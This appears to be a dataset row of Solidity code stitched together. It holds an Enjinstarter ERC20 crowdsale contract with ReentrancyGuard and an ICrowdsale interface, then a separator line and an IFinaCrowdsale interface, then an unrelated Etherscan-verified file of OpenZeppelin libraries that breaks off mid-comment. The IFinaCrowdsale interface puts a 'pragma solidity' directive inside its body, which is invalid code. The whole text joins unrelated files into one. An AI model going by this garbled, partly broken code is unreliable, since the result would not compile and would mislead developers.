* @param paymentTokensInfo Addresses, decimals, rates and lot sizes of ERC20 tokens acceptable for payment
*/
constructor(
address wallet_,
address tokenSelling_,
LotsInfo memory lotsInfo,
PaymentTokenInfo[] memory paymentTokensInfo
) {
require(wallet_ != address(0), "Crowdsale: zero wallet address");
require(
tokenSelling_ != address(0),
"Crowdsale: zero token selling address"
);
require(lotsInfo.lotSize > 0, "Crowdsale: zero lot size");
require(lotsInfo.maxLots > 0, "Crowdsale: zero max lots");
require(paymentTokensInfo.length > 0, "Crowdsale: zero payment tokens");
require(
paymentTokensInfo.length < MAX_NUM_PAYMENT_TOKENS,
"Crowdsale: exceed max payment tokens"
);
_wallet = wallet_;
_tokenSelling = tokenSelling_;
_lotsInfo = lotsInfo;
for (uint256 i = 0; i < paymentTokensInfo.length; i++) {
uint256 paymentDecimal = paymentTokensInfo[i].paymentDecimal;
require(
paymentDecimal <= TOKEN_MAX_DECIMALS,
"Crowdsale: decimals exceed 18"
);
address paymentToken = paymentTokensInfo[i].paymentToken;
require(
paymentToken != address(0),
"Crowdsale: zero payment token address"
);
uint256 rate_ = paymentTokensInfo[i].rate;
require(rate_ > 0, "Crowdsale: zero rate");
_isPaymentTokens[paymentToken] = true;
_paymentTokens.push(paymentToken);
_paymentDecimals[paymentToken] = paymentDecimal;
_rates[paymentToken] = rate_;
}
}
/**
* @return tokenSelling_ the token being sold
*/
function tokenSelling()
external
view
override
returns (address tokenSelling_)
{
tokenSelling_ = _tokenSelling;
}
/**
* @return wallet_ the address where funds are collected
*/
function wallet() external view override returns (address wallet_) {
wallet_ = _wallet;
}
/**
* @return paymentTokens_ the payment tokens
*/
function paymentTokens()
external
view
override
returns (address[] memory paymentTokens_)
{
paymentTokens_ = _paymentTokens;
}
/**
* @param paymentToken ERC20 payment token address
* @return rate_ how many weis one token costs for specified ERC20 payment token
*/
function rate(address paymentToken)
external
view
override
returns (uint256 rate_)
{
require(
paymentToken != address(0),
"Crowdsale: zero payment token address"
);
require(
isPaymentToken(paymentToken),
"Crowdsale: payment token unaccepted"
);
rate_ = _rate(paymentToken);
}
/**
* @param beneficiary Address performing the token purchase
* @return lotSize_ lot size of token being sold
*/
function lotSize(address beneficiary)
public
view
override
returns (uint256 lotSize_)
{
require(
beneficiary != address(0),
"Crowdsale: zero beneficiary address"
);
lotSize_ = _lotSize(beneficiary);
}
/**
* @return maxLots_ maximum number of lots for token being sold
*/
function maxLots() external view override returns (uint256 maxLots_) {
maxLots_ = _lotsInfo.maxLots;
}
/**
* @param paymentToken ERC20 payment token address
* @return weiRaised_ the amount of wei raised
*/
function weiRaisedFor(address paymentToken)
external
view
override
returns (uint256 weiRaised_)
{
weiRaised_ = _weiRaisedFor(paymentToken);
}
/**
* @param paymentToken ERC20 payment token address
* @return isPaymentToken_ whether token is accepted for payment
*/
function isPaymentToken(address paymentToken)
public
view
override
returns (bool isPaymentToken_)
{
require(
paymentToken != address(0),
"Crowdsale: zero payment token address"
);
isPaymentToken_ = _isPaymentTokens[paymentToken];
}
/**
* @dev Override to extend the way in which payment token is converted to tokens.
* @param lots Number of lots of token being sold
* @param beneficiary Address receiving the tokens
* @return tokenAmount Number of tokens being sold that will be purchased
*/
function getTokenAmount(uint256 lots, address beneficiary)
external
view
override
returns (uint256 tokenAmount)
{
require(lots > 0, "Crowdsale: zero lots");
require(
beneficiary != address(0),
"Crowdsale: zero beneficiary address"
);
tokenAmount = _getTokenAmount(lots, beneficiary);
}
/**
* @dev Override to extend the way in which payment token is converted to tokens.
* @param paymentToken ERC20 payment token address
* @param lots Number of lots of token being sold
* @param beneficiary Address receiving the tokens
* @return weiAmount Amount in wei of ERC20 payment token
*/
function getWeiAmount(
address paymentToken,
uint256 lots,
address beneficiary
) external view override returns (uint256 weiAmount) {
require(
paymentToken != address(0),
"Crowdsale: zero payment token address"
);
require(lots > 0, "Crowdsale: zero lots");
require(
beneficiary != address(0),
"Crowdsale: zero beneficiary address"
);
require(
isPaymentToken(paymentToken),
"Crowdsale: payment token unaccepted"
);
weiAmount = _getWeiAmount(paymentToken, lots, beneficiary);
}
/**
* @param paymentToken ERC20 payment token address
* @param lots Number of lots of token being sold
*/
function buyTokens(address paymentToken, uint256 lots) external override {
_buyTokensFor(msg.sender, paymentToken, lots);
}
/**
* @param beneficiary Recipient of the token purchase
* @param paymentToken ERC20 payment token address
* @param lots Number of lots of token being sold
*/
function buyTokensFor(
address beneficiary,
address paymentToken,
uint256 lots
) external override {
_buyTokensFor(beneficiary, paymentToken, lots);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* This function has a non-reentrancy guard, so it shouldn't be called by
* another `nonReentrant` function.
* @param beneficiary Recipient of the token purchase
* @param paymentToken ERC20 payment token address
* @param lots Number of lots of token being sold
*/
function _buyTokensFor(
address beneficiary,
address paymentToken,
uint256 lots
) internal nonReentrant {
require(
beneficiary != address(0),
"Crowdsale: zero beneficiary address"
);
require(
paymentToken != address(0),
"Crowdsale: zero payment token address"
);
require(lots > 0, "Crowdsale: zero lots");
require(
isPaymentToken(paymentToken),
"Crowdsale: payment token unaccepted"
);
// calculate token amount to be created
uint256 tokenAmount = _getTokenAmount(lots, beneficiary);
// calculate wei amount to transfer to wallet
uint256 weiAmount = _getWeiAmount(paymentToken, lots, beneficiary);
_preValidatePurchase(beneficiary, paymentToken, weiAmount, tokenAmount);
// update state
_weiRaised[paymentToken] = _weiRaised[paymentToken].add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
_updatePurchasingState(
beneficiary,
paymentToken,
weiAmount,
tokenAmount
);
emit TokensPurchased(
msg.sender,
beneficiary,
paymentToken,
lots,
weiAmount,
tokenAmount
);
_processPurchase(beneficiary, tokenAmount);
_forwardFunds(paymentToken, weiAmount);
_postValidatePurchase(
beneficiary,
paymentToken,
weiAmount,
tokenAmount
);
}
/**
* @param paymentToken ERC20 payment token address
* @return weiRaised_ the amount of wei raised
*/
function _weiRaisedFor(address paymentToken)
internal
view
virtual
returns (uint256 weiRaised_)
{
require(
paymentToken != address(0),
"Crowdsale: zero payment token address"
);
require(
isPaymentToken(paymentToken),
"Crowdsale: payment token unaccepted"
);
weiRaised_ = _weiRaised[paymentToken];
}
/**
* @param paymentToken ERC20 payment token address
* @return rate_ how many weis one token costs for specified ERC20 payment token
*/
function _rate(address paymentToken)
internal
view
virtual
returns (uint256 rate_)
{
rate_ = _rates[paymentToken];
}
/**
* @return lotSize_ lot size of token being sold
*/
function _lotSize(address)
internal
view
virtual
returns (uint256 lotSize_)
{
lotSize_ = _lotsInfo.lotSize;
}
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met.
* Use `super` in contracts that inherit from Crowdsale to extend their validations.
* Example from CappedCrowdsale.sol's _preValidatePurchase method:
* super._preValidatePurchase(beneficiary, weiAmount);
* require(weiRaised().add(weiAmount) <= cap);
* @param beneficiary Address performing the token purchase
* @param paymentToken ERC20 payment token address
* @param weiAmount Amount in wei of ERC20 payment token
* @param tokenAmount Number of tokens to be purchased
*/
function _preValidatePurchase(
address beneficiary,
address paymentToken,
uint256 weiAmount,
uint256 tokenAmount
) internal view virtual {
// solhint-disable-previous-line no-empty-blocks
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo/rollback when valid
* conditions are not met.
* @param beneficiary Address performing the token purchase
* @param paymentToken ERC20 payment token address
* @param weiAmount Amount in wei of ERC20 payment token
* @param tokenAmount Number of tokens to be purchased
*/
function _postValidatePurchase(
address beneficiary,
address paymentToken,
uint256 weiAmount,
uint256 tokenAmount
) internal view virtual {
// solhint-disable-previous-line no-empty-blocks
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends
* its tokens.
* @param beneficiary Address performing the token purchase
* @param tokenAmount Number of tokens to be emitted
*/
// https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code
// slither-disable-next-line dead-code
function _deliverTokens(address beneficiary, uint256 tokenAmount)
internal
virtual
{
IERC20(_tokenSelling).safeTransfer(beneficiary, tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send
* tokens.
* @param beneficiary Address receiving the tokens
* @param tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address beneficiary, uint256 tokenAmount)
internal
virtual
{
_deliverTokens(beneficiary, tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions,
* etc.)
* @param beneficiary Address receiving the tokens
* @param paymentToken ERC20 payment token address
* @param weiAmount Amount in wei of ERC20 payment token
* @param tokenAmount Number of tokens to be purchased
*/
function _updatePurchasingState(
address beneficiary,
address paymentToken,
uint256 weiAmount,
uint256 tokenAmount
) internal virtual {
// solhint-disable-previous-line no-empty-blocks
}
/**
* @dev Override to extend the way in which payment token is converted to tokens.
* @param lots Number of lots of token being sold
* @return tokenAmount Number of tokens that will be purchased
*/
function _getTokenAmount(uint256 lots, address)
internal
view
virtual
returns (uint256 tokenAmount)
{
tokenAmount = lots.mul(_lotsInfo.lotSize).mul(TOKEN_SELLING_SCALE);
}
/**
* @dev Override to extend the way in which payment token is converted to tokens.
* @param paymentToken ERC20 payment token address
* @param lots Number of lots of token being sold
* @param beneficiary Address receiving the tokens
* @return weiAmount Amount in wei of ERC20 payment token
*/
function _getWeiAmount(
address paymentToken,
uint256 lots,
address beneficiary
) internal view virtual returns (uint256 weiAmount) {
uint256 rate_ = _rate(paymentToken);
uint256 tokenAmount = _getTokenAmount(lots, beneficiary);
weiAmount = tokenAmount.mul(rate_).div(TOKEN_SELLING_SCALE);
}
/**
* @dev Determines how ERC20 payment token is stored/forwarded on purchases.
*/
function _forwardFunds(address paymentToken, uint256 weiAmount)
internal
virtual
{
uint256 amount = weiAmount;
if (_paymentDecimals[paymentToken] < TOKEN_MAX_DECIMALS) {
uint256 decimalsDiff = uint256(TOKEN_MAX_DECIMALS).sub(
_paymentDecimals[paymentToken]
);
amount = weiAmount.div(10**decimalsDiff);
}
IERC20(paymentToken).safeTransferFrom(msg.sender, _wallet, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: Apache-2.0
// Copyright 2021 Enjinstarter
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ICrowdsale
* @author Enjinstarter
*/
interface ICrowdsale {
struct LotsInfo {
uint256 lotSize;
uint256 maxLots;
}
struct PaymentTokenInfo {
address paymentToken;
uint256 paymentDecimal;
uint256 rate;
}
function tokenSelling() external view returns (address tokenSelling_);
function wallet() external view returns (address wallet_);
function paymentTokens()
external
view
returns (address[] memory paymentTokens_);
function rate(address paymentToken) external view returns (uint256 rate_);
function lotSize(address beneficiary)
external
view
returns (uint256 lotSize_);
function maxLots() external view returns (uint256 maxLots_);
function weiRaisedFor(address paymentToken)
external
view
returns (uint256 weiRaised_);
function isPaymentToken(address paymentToken)
external
view
returns (bool isPaymentToken_);
function getTokenAmount(uint256 lots, address beneficiary)
external
view
returns (uint256 tokenAmount);
function getWeiAmount(
address paymentToken,
uint256 lots,
address beneficiary
) external view returns (uint256 weiAmount);
function buyTokens(address paymentToken, uint256 lots) external;
function buyTokensFor(
address beneficiary,
address paymentToken,
uint256 lots
) external;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param paymentToken address of ERC20 token used for payment
* @param lots number of lots to purchase
* @param weiAmount weis paid for purchase
* @param tokenAmount amount of tokens purchased
*/
event TokensPurchased(
address indexed purchaser,
address indexed beneficiary,
address indexed paymentToken,
uint256 lots,
uint256 weiAmount,
uint256 tokenAmount
);
} | IFinaCrowdsale Enjinstarter/ | interface IFinaCrowdsale is ICrowdsale {
function getAvailableLotsFor(address beneficiary)
external
view
returns (uint256 availableLots);
function getRemainingTokens()
external
view
returns (uint256 remainingTokens);
function pause() external;
function unpause() external;
function extendTime(uint256 newClosingTime) external;
function setGovernanceAccount(address account) external;
function setCrowdsaleAdmin(address account) external;
pragma solidity ^0.7.6;
}
| 10,020,904 |
/**
*Submitted for verification at Etherscan.io on 2021-04-11
*/
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {size := extcodesize(account)}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
